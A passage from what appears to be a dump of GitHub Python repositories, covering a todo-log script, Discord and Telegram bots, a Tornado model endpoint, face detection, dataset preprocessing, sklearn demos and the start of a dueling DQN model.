^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^\\n\"\nDATE_FMT = \"%a %b %d %Y %I:%M:%S %p %Z\"\nMAX_SEARCH = 100 # lines\nDEBUG = os.environ.get('DEBUG', False)\n\ndef d(msg):\n if bool(DEBUG):\n print(\"{0}\".format(msg))\n sys.stderr.flush()\n\ndef show_usage():\n print(\"Usage: {0} <file>\\n\".format(os.path.basename(sys.argv[0])))\n print(\"Where <file> is a log file to be prefixed with ToDo/Did/DateTime\\n\")\n\n\ndef get_todo_regex():\n return TODO_RX\n\n\ndef get_did_regex():\n return DID_RX\n\n\ndef get_date_fmt():\n return DATE_FMT\n\n\ndef last_todo(logfile):\n d(\"Rewinding logfile to beginning, searching for the most recent TODO block\")\n logfile.seek(0)\n got_todo = False\n todo_lines = []\n _max = MAX_SEARCH\n for line in logfile:\n _max -= 1\n if _max <= 0:\n raise RuntimeError(\"Could not find complete TODO section in first {0} lines\".format(MAX_SEARCH))\n line = str(line)\n line_no = MAX_SEARCH-_max\n if get_did_regex().search(line):\n d(\"Found {0} todo lines total after searching {1} lines\".format(len(todo_lines), line_no))\n return todo_lines\n elif got_todo:\n if len(line.strip()) > 3:\n d(\"Found todo: '{0}' at line {1}\".format(line.rstrip(), line_no))\n todo_lines.append(line.rstrip())\n else:\n d(\"Skipping blank/short todo line {0}\".format(line_no))\n elif get_todo_regex().search(line):\n d(\"Found start of todo list at line {0}\".format(line_no))\n got_todo = True\n raise RuntimeError(\"End of file reached while searching for complete todo block\")\n\ndef last_date(logfile):\n d(\"Rewinding logfile to beginning, searching for the most recent date entry\")\n logfile.seek(0)\n fmt = get_date_fmt()\n _max = MAX_SEARCH\n for line in logfile:\n _max -= 1\n if _max <= 0:\n raise RuntimeError(\"Could not find a date line in first {0} lines\".format(MAX_SEARCH))\n try:\n found_date = datetime.datetime.strptime(str(line.strip()), fmt).date()\n d(\"Found date line {0}, parsed into {1}\".format(MAX_SEARCH-_max, found_date))\n return found_date\n except ValueError:\n continue\n\ndef get_prefix(todo):\n d(\"Formatting new section with {0} todo lines\".format(len(todo)))\n fmt = get_date_fmt()\n return (\"\\n\" # blank line\n \"{0}\\n\" # ToDo:\n \"{1}\" # todo items\n \"\\n\" # blank line\n \"\\n\" # blank line\n \"{2}\\n\" # Did:\n \"\\n\" # blank line\n \"\\n\" # blank line\n \"{3}\" # start line includes newline\n \"{4}\\n\" # date/time\n \"{5}\" # end line includes newline\n \"\\n\" # extra blank line\n \"\".format(TODO, \"\\n\".join(todo), DID,\n SEP_START, time.strftime(fmt), SEP_END))\n\nif __name__ == \"__main__\":\n d(\"Debugging enabled, parsing arguments\")\n if len(sys.argv) < 2:\n show_usage()\n sys.exit(1)\n d(\"Checking if it's Saturday or Sunday\")\n weekday = datetime.datetime.now().isoweekday()\n # 0=mon, 1=tue, 2=wed, 3=thu, 4=fri, 5=sat, 6=sun\n if weekday > 5: # After Friday\n d(\"Exiting, weekends are not workdays\")\n sys.exit(0)\n tmp = tempfile.NamedTemporaryFile(mode=\"wt\", encoding='utf8',\n prefix=os.path.basename(sys.argv[0]), suffix='.tmp')\n d(\"Opened temp file {0}\".format(tmp.name))\n logfile = open(sys.argv[1], \"rt\", encoding='utf8')\n d(\"Opened log file {0}\".format(logfile.name))\n if last_date(logfile) == datetime.datetime.now().date():\n d(\"File already contains entry for today, exiting.\")\n sys.exit(0)\n old_todo = last_todo(logfile)\n tmp.write(get_prefix(old_todo))\n tmp.flush()\n d(\"New entry added, copying old file contents into temp file\")\n logfile.seek(0)\n shutil.copyfileobj(logfile, tmp)\n logfile.close()\n tmp.flush()\n d(\"Creating backup of logfile with ~ suffix\")\n shutil.copy(sys.argv[1], sys.argv[1] + '~')\n d(\"Movin new logfile into place\")\n shutil.copy(tmp.name, sys.argv[1])\n","repo_name":"Yewess/home","sub_path":"bin/BrandNewDay.py","file_name":"BrandNewDay.py","file_ext":"py","file_size_in_byte":4491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30887068","text":"import discord\nfrom discord.utils import get\n\n# gets the Token from .env (more infos in README and .env.example)\nf = open(\".env\")\nTOKEN = f.read()\n\n# Variables to change\nverify_channel_name = 'verify'\nverify_prefix = '!verify'\nverify_emoji = '✅'\nverify_role = 847062220328534036\nverify_permission = 'Admin'\n\n# create Bot Class\nclass VerifyBot(discord.Client):\n \n # set class variable 'role'\n role = 0\n\n # if the bot is ready\n async def on_ready(self):\n self.profile_picture = client.user.avatar_url\n print('Verify: logged in')\n\n # if someone reacted\n async def on_reaction_add(self, reaction, user):\n # if the message is in the verify channel\n if reaction.message.channel.name == verify_channel_name:\n # if the reaction is the verify reaction\n if str(reaction) == verify_emoji:\n # get the role\n self.role = discord.utils.get(user.guild.roles, id=verify_role)\n # give the user the role\n await user.add_roles(self.role)\n\n # if someone send a message\n async def on_message(self, message):\n # get the channel\n channel = client.get_channel(message.channel.id)\n # if the channel si the right one\n if message.channel.name == verify_channel_name:\n # get the user\n user = message.author\n # get the role\n self.role = discord.utils.get(user.guild.roles, id=verify_role)\n\n # if someone whant to send the button\n if message.content == '!verify':\n\n # if the author has the permisson to do that\n for role in user.roles:\n if str(role) == verify_permission:\n # delete the message\n await message.delete()\n\n # create the verify embed\n verify_embed = discord.Embed(colour=discord.Colour(0x29485e), description=\"By clicking/tapping on \" + verify_emoji + \" below, you agree with the rules on this server. You can also verify by typing agree if clicking/tapping the reaction doesn't work.\")\n\n verify_embed.set_author(name=\"Verify \", icon_url=self.profile_picture)\n # send the embed\n await channel.send(embed=verify_embed)\n \n # if someone type agree in the chat\n elif message.content == 'agree':\n # delete the message\n await message.delete()\n # give the verified role\n await user.add_roles(self.role)\n\n # if the message is another message\n elif message.content != '!verify' and message.author != client.user:\n await message.delete()\n\n\n elif message.author == client.user:\n channel = message.channel\n # add the button\n await message.add_reaction(verify_emoji)\n\n # if the message is with info\n if message.content == verify_prefix + ' info':\n # creates the info embed\n info_embed = discord.Embed(title=\"Here you can get the most information about this bot!\",\n colour=discord.Colour(0x29485e))\n info_embed.set_author(name=\"Verifybot Info\",\n icon_url=self.profile_picture)\n info_embed.add_field(name=\"General ❕:\",\n value=\"In general this bot is a private project. I made the bot in my freetime.\",\n inline=True)\n info_embed.add_field(name=\"Personalize ✏:\",\n value=\"You can personalize this bot by download the code from github (https://github.com/Fynnyx/discord.py-bots) and run it by yourself.\",\n inline=True)\n info_embed.add_field(name='GitHub:',\n value='Want to use more bots? Visit https://github.com/Fynnyx/discord.py-bots to get more open source Discord bots.',\n inline=True)\n info_embed.add_field(name=\"Help Command 📜:\",\n value=\"The bot prefix is `\" + verify_prefix + \"`. You will use this in front off all other commands. More infos you'll get by using `\" + verify_prefix + \" help`.\",\n inline=True)\n info_embed.add_field(name=\"Everything done? \", value=\"Have fun ❤\", inline=False)\n # sends the info embed\n await channel.send(embed=info_embed)\n\n if message.content == verify_prefix + ' help':\n # create the embed for help\n help_embed = discord.Embed(colour=discord.Colour(0x29485e))\n\n help_embed.set_author(name=\"Verifybot Help\",\n icon_url=self.profile_picture)\n\n help_embed.add_field(name=\"Send the verify button\",\n value=\"With `\" + verify_prefix + \"` You can send the verify button.\")\n help_embed.add_field(name=\"Agree hte rules\",\n value=\"By typing `agree` in the right channel, you agree the rules\")\n # sends the embed\n await channel.send(embed=help_embed)\n\n\n\n\n# start the bot\nclient = VerifyBot()\nclient.run(TOKEN)","repo_name":"iWANTdata/discord.py-bots","sub_path":"verifybot/verify.py","file_name":"verify.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74864303731","text":"#! /usr/bin/env python3\n# coding:utf-8\nimport json\n\nimport tornado.web\nimport tornado.ioloop\nimport engine_for_cnn as engine\nimport tensorflow as tf\n\n\nclass MainHandler(tornado.web.RequestHandler):\n\n def get(self):\n text = self.get_argument('text')\n print(text)\n predict = self.classify(text)\n data = {\n 'text': text,\n 'predict': predict[0]\n }\n self.write(json.dumps({'data': data}).encode('utf-8'))\n\n def classify(self, text):\n sample = engine.text_tensor(text, engine.wv)\n tensor_proto = tf.contrib.util.make_tensor_proto(sample, shape=[1, len(sample[0]), 200])\n engine.request.inputs['x'].CopyFrom(tensor_proto)\n response = engine.stub.Predict(engine.request, 10.0)\n result = list(response.outputs['y'].int64_val)\n return result\n\n\ndef make_app():\n return tornado.web.Application([\n (r\"/predict\", MainHandler),\n ])\n\n\nif __name__ == '__main__':\n app = make_app()\n app.listen(909)\n print('listen start')\n tornado.ioloop.IOLoop.current().start()\n","repo_name":"Tryking/DeepLearning","sub_path":"text-antispam/serving/serving.py","file_name":"serving.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73536094453","text":"from cv2 import cv2\r\n\r\nimport numpy as np\r\n\r\ncv2.namedWindow(\"faceCatch\")\r\n\r\ncap=cv2.VideoCapture(0) \r\n# cap=cv2.VideoCapture(\"http://admin:admin@192.168.25.62:8081/video\") \r\n\r\n\r\nsuccess, frame = cap.read()\r\n\r\ncolor = (0,255,0)\r\n\r\nclassfier=cv2.CascadeClassifier(\"C:\\\\Users\\\\w_zhangtb\\\\AppData\\\\Local\\\\Programs\\\\Python\\\\Python38\\\\Lib\\\\site-packages\\\\cv2\\\\data\\\\haarcascade_frontalface_alt.xml\")\r\n\r\nwhile success:\r\n\r\n success, frame = cap.read()\r\n\r\n size=frame.shape[:2]\r\n\r\n image=np.zeros(size,dtype=np.float16)\r\n\r\n frame = cv2.flip(frame, 1)\r\n\r\n image = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n\r\n cv2.equalizeHist(image, image)\r\n\r\n divisor=8\r\n\r\n h, w = size\r\n\r\n minSize =(w//divisor, h//divisor) \r\n\r\n faceRects = classfier.detectMultiScale(image, 1.2, 2, cv2.CASCADE_SCALE_IMAGE,minSize)\r\n\r\n if len(faceRects)>0:\r\n\r\n for faceRect in faceRects: \r\n\r\n x, y, w, h = faceRect\r\n cv2.rectangle(frame, (x, y), (x+w, y+h), color)\r\n font = cv2.FONT_HERSHEY_SIMPLEX\r\n cv2.putText(frame, \"FaceShowing...\",(x + 40, y + 40), font, 0.7, (255,0,255),2)\r\n\r\n cv2.imshow(\"faceCatch\", frame)\r\n\r\n key=cv2.waitKey(10)\r\n\r\n c = chr(key & 255)\r\n\r\n if c in ['q', 'Q', chr(27)]:\r\n\r\n break\r\n\r\ncv2.destroyWindow(\"faceCatch\")","repo_name":"kingdeeztb/pythonapp","sub_path":"kface人脸识别/realFaceshow.py","file_name":"realFaceshow.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24984416427","text":"import telebot\nfrom telebot import types\nfrom urllib.request import urlopen\nfrom bs4 import BeautifulSoup\nimport decimal\n\nbot = telebot.TeleBot(\"\")\n\n@bot.message_handler(commands=['start'])\ndef start_message(message):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n item_1 = types.KeyboardButton(\"Exchange Rates\")\n item_2 = types.KeyboardButton(\"Weather Forecast\")\n markup.add(item_1)\n markup.add(item_2)\n name = message.from_user.first_name\n bot.send_message(message.chat.id, f'Hello {name}! My name is Randy_Rozz_Bot and I am a your personal bot! What do you want to know? Type \"/info\" for more information', reply_markup=markup)\n\n@bot.message_handler(commands=['info'])\ndef start_message(message):\n bot.send_message(message.chat.id, \"Exchange rates - to check today`s rates \\nWeather Forecast - to check today`s forecast\")\n\n@bot.message_handler(content_types='text')\ndef message_reply(message):\n if message.text == \"Exchange Rates\":\n\n html_bg = urlopen(\"https://myfin.by/bank/belgazprombank/usd\")\n soup_bg = BeautifulSoup(html_bg)\n tags = soup_bg.findAll(\"td\")\n buy_bg = tags[1].text\n sell_bg = tags[2].text\n\n bot.send_message(message.chat.id, f\"In Belgazprombank: buying rate - {buy_bg} BYN, selling rate - {sell_bg} BYN\")\n\n html_pr = urlopen(\"https://myfin.by/bank/priorbank/usd\")\n soup_pr = BeautifulSoup(html_pr)\n tags = soup_pr.findAll(\"td\")\n buy_pr = tags[1].text\n sell_pr = tags[2].text\n \n bot.send_message(message.chat.id, f\"In Priorbank: buying rate - {buy_pr} BYN, selling rate - {sell_pr} BYN\")\n\n buying_pr = decimal.Decimal(buy_pr)\n selling_pr = decimal.Decimal(sell_pr)\n buying_bg = decimal.Decimal(buy_bg)\n selling_bg = decimal.Decimal(sell_bg)\n\n if buying_pr - buying_bg > 0:\n bot.send_message(message.chat.id, f\"Best buying rate in Priorbank - {buy_pr} BYN!\")\n elif buying_pr - buying_bg == 0:\n bot.send_message(message.chat.id, f\"Buying rates are equal!\")\n else:\n bot.send_message(message.chat.id, f\"Best buying rate in Belgazprombank - {buy_bg} BYN!\")\n \n if selling_pr - selling_bg > 0:\n bot.send_message(message.chat.id, f\"Best selling rate in Belgazprombank - {sell_bg} BYN!\")\n elif selling_pr - selling_bg == 0:\n bot.send_message(message.chat.id, f\"Selling rates are equal!\")\n else:\n bot.send_message(message.chat.id, f\"Best selling rate in Priorbank - {sell_pr} BYN!\")\n \n if message.text == \"Weather Forecast\":\n\n html_weather = urlopen(\"https://mogilev.online/2022/11/16/252495.html\")\n soup_weather = BeautifulSoup(html_weather)\n tags_weather = soup_weather.findAll(\"li\", {\"class\": \"weather-temp\"})\n weather = tags_weather[0].text\n now = int(weather)\n\n if now <= 10:\n bot.send_message(message.chat.id, f\"Temperature now is {weather}, please, dress warmly!\")\n elif now > 10 and now <= 15:\n bot.send_message(message.chat.id, f\"Temperature now is {weather}, it`s a pleasant!\")\n elif now > 15 and now <= 25:\n bot.send_message(message.chat.id, f\"Temperature now is {weather}, welcome to spring!\")\n elif now > 25:\n bot.send_message(message.chat.id, f\"Temperature now is {weather}, dress up it`s will be hot\")\n\nbot.polling()\n","repo_name":"RandyR0zz/Python_course","sub_path":"Projects/Telegram_Daily_Bot/telegram_daily_bot.py","file_name":"telegram_daily_bot.py","file_ext":"py","file_size_in_byte":3424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31790861551","text":"\"\"\"\n그럼 다솜아 이제 진정한 포켓몬 마스터가 되기 위해 도감을 완성시키도록 하여라.\n일단 네가 현재 가지고 있는 포켓몬 도감에서 포켓몬의 이름을 보면 포켓몬의 번호를 말하거나,\n포켓몬의 번호를 보면 포켓몬의 이름을 말하는 연습을 하도록 하여라. 나의 시험을 통과하면, 내가 새로 만든 도감을 주도록 하겠네.\n\"\"\"\n\nimport sys\ninput = sys.stdin.readline\n\nN, M = map(int, input().split())\ndigit = dict()\nalpha = dict()\n\nfor i in range(1, N+1):\n name = input().rstrip()\n digit[i] = name\n alpha[name] = i\n\nfor i in range(M):\n question = input().rstrip()\n if question.isdigit():\n print(digit[int(question)])\n else:\n print(alpha[question])\n","repo_name":"sangm1n/problem-solving","sub_path":"BOJ/1620.py","file_name":"1620.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27802882665","text":"from enum import Enum\nfrom types import TracebackType\nfrom typing import Any, Awaitable, Optional, Type, TypeVar\n\nfrom httpx import AsyncClient\n\nfrom nbr.api import JupyterAPI\nfrom nbr.kernel import Kernel\nfrom nbr.notebook import Notebook\nfrom nbr.schemas.result import RunResult\nfrom nbr.schemas.session import CreateSession, Session\nfrom nbr.utils.client import create_client, prepare_headers\nfrom nbr.utils.session import create_session, delete_session\n\nTNotebookRunner = TypeVar(\"TNotebookRunner\", bound=\"NotebookRunner\")\n\n\nclass RunnerState(Enum):\n UNOPENED = 1\n OPENED = 2\n CLOSED = 3\n\n\nclass NotebookRunner:\n def __init__(\n self,\n *,\n notebook: Notebook,\n on_notebook_start: Optional[Awaitable[Any]] = None,\n on_notebook_end: Optional[Awaitable[Any]] = None,\n jupyter_api: JupyterAPI = JupyterAPI(),\n ) -> None:\n self._state: RunnerState = RunnerState.UNOPENED\n\n self.notebook: Notebook = notebook\n\n self.on_notebook_start = on_notebook_start\n self.on_notebook_finish = on_notebook_end\n\n self.jupyter_api = jupyter_api\n\n self._client: AsyncClient = create_client(\n base_url=f\"http://{self.jupyter_api.host}:{self.jupyter_api.port}/api\",\n headers=prepare_headers(self.jupyter_api.token),\n )\n\n self._session: Session\n self._kernel: Kernel\n\n async def execute_all_cells(self) -> RunResult:\n if self._state != RunnerState.OPENED:\n raise RuntimeError(\"Create NotebookRunner instance first.\")\n\n if self.on_notebook_start:\n await self.on_notebook_start\n\n run_result = await self._kernel.execute(cells=self.notebook.cells)\n self.notebook.cells = run_result.cells\n\n if self.on_notebook_finish:\n await self.on_notebook_finish\n\n return run_result\n\n async def __aenter__(self: TNotebookRunner) -> TNotebookRunner:\n if self._state != RunnerState.UNOPENED:\n raise RuntimeError(\n \"Cannot create a NotebookRunner instance more than once.\",\n )\n\n self._state = RunnerState.OPENED\n self._session = await create_session(\n session_data=CreateSession(\n name=self.notebook.name, path=self.notebook.path\n ),\n client=self._client,\n )\n self._kernel = Kernel(session=self._session)\n await self._kernel.start(\n base_url=f\"{self.jupyter_api.host}:{self.jupyter_api.port}/api\"\n )\n\n return self\n\n async def __aexit__(\n self,\n exc_type: Type[BaseException],\n exc_value: BaseException,\n traceback: TracebackType,\n ) -> None:\n await delete_session(session_id=self._session.id, client=self._client)\n\n self._state = RunnerState.CLOSED\n","repo_name":"zhivykh/nbr","sub_path":"nbr/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31977695594","text":"print('Lojas Tabajara')\npreço=float(input('Produto 1 : R$ '))\nsoma=0\ndinheiro=0\ntroco=0\naux=preço\ncont=1\nwhile preço != 0 :\n cont=cont +1\n print('Produto', cont,end=' ')\n preço=float(input(': R$ '))\n soma= soma + preço\n if preço == 0 :\n print('Total: R$', soma + aux)\n dinheiro=float(input('Dinheiro: R$ '))\n troco=dinheiro - soma - aux\n print('Troco: R$', troco)","repo_name":"aly50n/Python-Algoritmos-2019.2","sub_path":"lista03ex20.py","file_name":"lista03ex20.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16651283407","text":"from keras.preprocessing.image import ImageDataGenerator\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport numpy as np\nimport os\n\nbase_dir = 'C://DeepLearningData/dogs-vs-cats/train'\nfn = os.path.join(base_dir, 'dog.132.jpg')\n\ndatagen = ImageDataGenerator(\n height_shift_range=0.2,\n width_shift_range=0.2,\n zoom_range=0.2,\n shear_range=0.1,\n rotation_range=20,\n horizontal_flip=True\n)\n\nimage = np.expand_dims(Image.open(fn), 0)\n\naug_iter = datagen.flow(image)\naug_images = [next(aug_iter)[0].astype(np.uint8) for i in range(10)]\n\nfor i in range(10):\n plt.figure(i)\n plt.imshow(aug_images[i])\n\nplt.show()","repo_name":"tjwldnjss13/CNN","sub_path":"augmentation.py","file_name":"augmentation.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43193206651","text":"# 要添加一个新单元,输入 '# %%'\n# 要添加一个新的标记单元,输入 '# %% [markdown]'\n\n# # IEMOCAP数据处理\n\n# 数据包括视频、音频、文本。视频是以对话形式录制的。\n\n\n\nimport os\nimport json\nimport re\nimport os\nimport pandas as pd\n\n\ndata_path = 'D:\\dataset\\IEMOCAP_full_release\\IEMOCAP_full_release'\n\n\n#获取数据标签\ndef get_labels(data_path):\n # 从每一个session的ialog\\\\EmoEvaluation中获取每一句话的标签,结果输出到iemocap_label.csv文件中\n info_line = re.compile(r'\\[.+\\]\\n', re.IGNORECASE)\n start_times, end_times, wav_file_names, emotions, vals, acts, doms = [], [], [], [], [], [], []\n for sess in range(1, 6):\n emo_evaluation_dir = data_path+'\\\\Session{}\\\\dialog\\\\EmoEvaluation\\\\'.format(sess)\n evaluation_files = [l for l in os.listdir(emo_evaluation_dir) if 'Ses' in l]\n for file in evaluation_files:\n with open(emo_evaluation_dir + file) as f:\n content = f.read()\n info_lines = re.findall(info_line, content)\n for line in info_lines[1:]: # the first line is a header\n start_end_time, wav_file_name, emotion, val_act_dom = line.strip().split('\\t')\n start_time, end_time = start_end_time[1:-1].split('-')\n val, act, dom = val_act_dom[1:-1].split(',')\n val, act, dom = float(val), float(act), float(dom)\n start_time, end_time = float(start_time), float(end_time)\n start_times.append(start_time)\n end_times.append(end_time)\n wav_file_names.append(wav_file_name)\n emotions.append(emotion)\n vals.append(val)\n acts.append(act)\n doms.append(dom)\n df_iemocap = pd.DataFrame(columns=['starttime', 'endtime', 'sentence', 'emotion', 'val', 'act', 'dom'])\n df_iemocap['starttime'] = start_times\n df_iemocap['endtime'] = end_times\n df_iemocap['sentence'] = wav_file_names\n df_iemocap['emotion'] = emotions\n df_iemocap['val'] = vals\n df_iemocap['act'] = acts\n df_iemocap['dom'] = doms\n print(df_iemocap.tail())\n df_iemocap.to_csv(data_path+'\\\\pre_processed\\\\iemocap_label.csv', index=False) \n\n# 音频文件处理.wav\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# ## 文本数据处理\n# \n# 将文本整理保存为JSON文件,数据格式如下\n# \"Session1\": sessionm名\n# {\"Ses01F_impro01\":文件名 \n# [{\"sentence\": \"Ses01F_impro01_F000\", \"startime\": \"006.2901\", \"endtime\": \"008.2357\", \"text\": \"Excuse me.\"}, 话语信息包括句话语编号,起始时间,结束时间,文本内容\n# {\"sentence\": \"Ses01F_impro01_M000\", \"startime\": \"007.5712\", \"endtime\": \"010.4750\", \"text\": \"Do you have your forms?\"},\n# ...],\n# \"Ses01F_impro02\": \n# [{\"sentence\": \"Ses01F_impro02_F000\", \"startime\": \"007.2688\", \"endtime\": \"016.6000\", \"text\": \"Did you get the mail? So you saw my letter?\"},\n# ...],\n# ...\n# }\n# \"Session2\":\n# {\n# ...\n# }\n# ...\ndef get_textJSON(data_path):\n text_dir ={}\n iemocap_filename = {}\n for i in range(5):\n list_path = data_path + '\\\\Session'+str(i+1)+'\\\\dialog\\\\transcriptions'\n session_dir = {}\n txt_list = os.listdir(list_path)\n for txt in txt_list:\n txt_path = os.path.join(list_path,txt)\n with open(txt_path,'r',encoding=\"utf-8\") as f:\n linelist = f.read().split(\"\\n\")\n result =[]\n for line in linelist:\n if len(line) > 30 and \"]:\" in line:\n sentence = line.split(' ')[0]\n startime = line.split(\" \")[1].split('-')[0][1:]\n endtime = line.split(\" \")[1].split('-')[1][:-2]\n text = line.split(\"]: \")[1]\n item = {\n 'sentence':sentence,\n 'startime':startime,\n 'endtime':endtime,\n 'text':text\n }\n result.append(item)\n session_dir[txt[:-4]] = result\n iemocap_filename['Session'+ str(i+1)] = txt_list\n text_dir['Session'+ str(i+1)] = session_dir\n #将文本保存为json \n with open('IEMOCAP_text.json', 'w') as dump_f:\n json.dump(text_dir,dump_f)\n #将iemocap数据库中的文件名,即视频,音频,文本名字保存\n with open('iemocap_filename.json', 'w') as dump_f:\n json.dump(iemocap_filename,dump_f) \n\n\n# 读取JSON文件\n# with open('IEMOCAP_text.json', 'r',encoding=\"utf-8\") as load_f:\n# text = json.load(load_f)\n# print(text['Session1'][\"Ses01F_impro01\"][0])\n\nif __name__ =='__main__':\n #获取标签\n # get_labels(data_path)\n #获取文本数据\n get_textJSON(data_path)\n","repo_name":"lishuai-lws/PretrainedMultimodal","sub_path":"IEMOCAP/dataprocess.py","file_name":"dataprocess.py","file_ext":"py","file_size_in_byte":4883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21072182649","text":"from sklearn.datasets import load_iris, fetch_20newsgroups, load_boston\nfrom sklearn.model_selection import train_test_split, GridSearchCV\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.metrics import classification_report\nimport pandas as pd\nimport numpy as np\n\n\n# li = load_iris()\n# #\n# # print(li.data)\n# # print(li.target)\n# # print(li.feature_names)\n# # print(li.target_names)\n#\n# # 数据集的划分, 训练集的特征值,测试集的特征值,训练集的目标值,测试集的目标值\n# # x_train, x_test, y_train, y_test = train_test_split(li.data, li.target, test_size=0.25, random_state=24)\n# #\n# #\n# # x_train1, x_test1, y_train1, y_test1= train_test_split(li.data, li.target, test_size=0.25, random_state=24)\n# #\n# # print(x_train == x_train1)\n#\n#\n# # news = fetch_20newsgroups(subset='all')\n# #\n# # print(news.data)\n#\n#\n# lb = load_boston()\n#\n# print(lb.data)\n# print(lb.target)\n\n\ndef knncls():\n \"\"\"\n K-近邻算法实现入住\n :return: None\n \"\"\"\n # 获取数据,分析数据\n data = pd.read_csv(\"./data/FBlocation/train.csv\")\n\n # print(data)\n\n # 缩小数据的范围,防止运算时间过长\n data = data.query(\"x > 1.0 & x < 1.25 & y > 2.5 & y < 2.75\")\n\n # 处理时间日期,分割时间,增加一些日期的详细特征\n time_value = pd.to_datetime(data['time'], unit='s')\n\n # 把时间格式转换成字典格式,获取年,月,日\n time_value = pd.DatetimeIndex(time_value)\n\n # 构造新的特征,weekday, day ,hour\n data['weekday'] = time_value.weekday\n data['day'] = time_value.day\n data['hour'] = time_value.hour\n\n data = data.drop(['time'], axis=1)\n\n # 删除一些签到位置少的签到点\n place_count = data.groupby('place_id').aggregate(np.count_nonzero)\n tf = place_count[place_count.row_id > 3].reset_index()\n\n data = data[data['place_id'].isin(tf.place_id)]\n\n # 取出特征值和目标值\n y = data['place_id']\n\n x = data.drop(['place_id'], axis=1)\n\n\n # 进行数据的分割\n x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.25)\n\n # 进行标准化\n std = StandardScaler()\n\n x_train = std.fit_transform(x_train)\n\n # x_test = std.fit_transform(x_test)\n x_test = std.transform(x_test)\n\n # estimaotr估计器流程\n knn = KNeighborsClassifier()\n\n # # fit数据\n # knn.fit(x_train, y_train)\n #\n # # 预测结果\n #\n # # 得出准确率\n # score = knn.score(x_test, y_test)\n\n param = {\"n_neighbors\": [1, 3, 5]}\n\n # 使用网格搜索\n gs = GridSearchCV(knn, param_grid=param, cv=2)\n\n # 输入数据\n gs.fit(x_train, y_train)\n\n # 得出测试集的准确率\n print(\"测试集的准确率:\", gs.score(x_test, y_test))\n\n print(\"在交叉验证当中的最好验证结果:\", gs.best_score_)\n\n print(\"选择了模型:\", gs.best_estimator_)\n\n print(\"每个超参数每一个交叉验证:\", gs.cv_results_)\n\n return None\n\n\ndef navie_bayes():\n \"\"\"\n 朴素贝叶斯对新闻分类\n :return: None\n \"\"\"\n # 获取新闻的数据集\n news = fetch_20newsgroups(subset='all')\n\n # 进行数据集的分割\n x_train, x_test, y_train, y_test = train_test_split(news.data, news.target, test_size=0.25)\n\n # 进行特征抽取\n tf = TfidfVectorizer()\n\n x_train = tf.fit_transform(x_train)\n\n x_test = tf.transform(x_test)\n\n # 进行朴素贝叶斯分类\n mlb = MultinomialNB(alpha=1.0)\n\n mlb.fit(x_train, y_train)\n\n y_predict = mlb.predict(x_test)\n\n print(\"预测的文章类型结果:\", y_predict)\n\n score = mlb.score(x_test, y_test)\n\n print(\"准确率:\", score)\n\n print(classification_report(y_test, y_predict, target_names=news.target_names))\n\n return None\n\n\nif __name__ == \"__main__\":\n knncls()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lmlzk/ML","sub_path":"ML_study/day_02.py","file_name":"day_02.py","file_ext":"py","file_size_in_byte":4008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37012218895","text":"from tracemalloc import start\nimport torch\nfrom torch import nn\nimport random\nimport numpy as np\n\n\nclass QNet_FC(nn.Module):\n \"\"\"\n Use this model for non-image based inputs\n \"\"\"\n\n def __init__(self, obs, action_space):\n super(QNet_FC, self).__init__()\n self.feature_layer = nn.Sequential(\n nn.Linear(obs, 512),\n nn.ReLU(),\n nn.Linear(512, 256),\n nn.ReLU(),\n )\n\n self.advantage_stream = nn.Sequential(\n nn.Linear(256, 256),\n nn.ReLU(),\n nn.Linear(256, action_space),\n )\n \n self.value_stream = nn.Sequential(\n nn.Linear(256, 256),\n nn.ReLU(),\n nn.Linear(256, 1),\n )\n\n def forward(self, x):\n # Dueling DQN\n features = self.feature_layer(x)\n advantages = self.advantage_stream(features)\n values = self.value_stream(features)\n if advantages.dim() == 1:\n advantage_mean = advantages.mean(dim=0, keepdim=True)\n else:\n advantage_mean = advantages.mean(dim=1, keepdim=True)\n \n return values + (advantages - advantage_mean)\n\n\nclass QNet_FC_Hyperbolic(nn.Module):\n \"\"\"\n Use this model for non-image based inputs\n \"\"\"\n\n def __init__(self, obs, action_space, number_of_gammas):\n super(QNet_FC_Hyperbolic, self).__init__()\n \n self.number_of_gammas = number_of_gammas\n \n self.feature_layer = nn.Sequential(\n nn.Linear(obs, 512),\n nn.ReLU(),\n nn.Linear(512, 256),\n nn.ReLU(),\n )\n \n self.advantages_hidden = nn.Sequential(\n nn.Linear(256, 256),\n nn.ReLU(),\n )\n \n self.values_hidden = 